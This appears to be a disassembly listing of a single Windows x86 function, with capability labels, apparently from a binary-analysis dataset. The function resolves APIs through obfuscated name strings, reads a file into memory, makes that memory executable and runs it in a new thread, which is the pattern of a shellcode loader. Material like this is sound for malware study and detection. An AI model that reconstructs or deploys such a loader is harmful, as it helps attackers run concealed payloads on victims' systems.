Function at 0x402cf0
Capabilities:
Link many functions at runtime
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x58
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
call fcn.004015d0
mov dword [ebp - 8], 0
lea eax, [0x404004]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
lea eax, [0x404011]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
lea eax, str.NqjlmytHjwll
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0xc]
lea eax, str.PavrgvGavrw
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
lea eax, [0x40403a]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
lea eax, [0x40404e]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0xc]
lea eax, [0x40405a]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x28]
lea ecx, [0x404067]
lea eax, [0x40406d]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.msvcrt.dll_fopen_s]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 2
call sub.msvcrt.dll_fseek
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_ftell
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
call sub.msvcrt.dll_fseek
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call eax
sub esp, 0x10
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov dword [esp], edx
mov dword [esp + 4], 1
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x30]
je 0x402ecb
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x8000
mov dword [esp + 0xc], 1
call eax
sub esp, 0x10
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 1
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
call dword [ebp - 0x24]
sub esp, 0x10
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
call eax
sub esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
lea ecx, [ebp - 0x40]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], 0x20
mov dword [esp + 0xc], ecx
call eax
sub esp, 0x10
cmp eax, 0
je 0x402fb3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call eax
sub esp, 0x18
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
mov dword [esp + 4], 0xffffffff
call eax
sub esp, 8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x8000
mov dword [esp + 0xc], 1
call eax
sub esp, 0x10
xor eax, eax
add esp, 0x58
pop esi
pop ebp
ret